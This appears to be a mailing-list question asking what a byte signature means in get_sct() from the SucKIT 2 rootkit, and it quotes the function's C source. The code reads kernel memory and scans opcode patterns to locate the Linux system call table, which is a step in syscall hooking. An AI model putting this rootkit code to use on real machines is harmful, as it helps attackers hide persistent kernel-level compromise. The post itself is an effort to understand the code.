What means "\xc7\x44\x24\x18\xda\xff\xff\xff\xe8"

["openbsd shen" <openbsd.shen@gmail.com>]

this code from get_sct() of suckit 2, why memmem()
"\xc7\x44\x24\x18\xda\xff\xff\xff\xe8"use, what it want to find?
The get_sct() founction:

ulong   get_sct()
{
        uchar   code[SCLEN+256];
        uchar   *p, *pt;
        ulong   r;
        uchar   pt_off, pt_bit;
        int     i;

        kernel_old80 = get_ep();

        if (!kernel_old80)
                return 0;
        if (rkm(code, sizeof(code), kernel_old80-4) <= 0)
                return 0;

        if (!memcmp(code, "PUNK", 4))
                return 0;

        p = (char *) memmem(code, SCLEN, "\xff\x14\x85", 3);
        if (!p) return 0;

        pt = (char *) memmem(p+7, SCLEN-(p-code)-7,
                "\xc7\x44\x24\x18\xda\xff\xff\xff\xe8", 9);
        /* when run at here , it always return 0 */
        if (!pt) {
                eprintf("pt = %s\n", pt);
                return 0;
        }

        sc.trace = *((ulong *) (pt + 9));
        sc.trace += kernel_old80 + (pt - code) - 4 + 9 + 4;

        pt = (char *) memmem(p+7, SCLEN-(p-code)-7, "\xff\x14\x85", 3);
        if (!pt) return 0;

        for (i = 0; i < (p-code); i++) {
                if ((code[i] == 0xf6) && (code[i+1] == 0x43) &&
                    (code[i+4] == 0x75) && (code[i+2] < 127)) {
                        pt_off = code[i+2];
                        pt_bit = code[i+3];
                        goto cc;
                }
        }

        return 0;
}
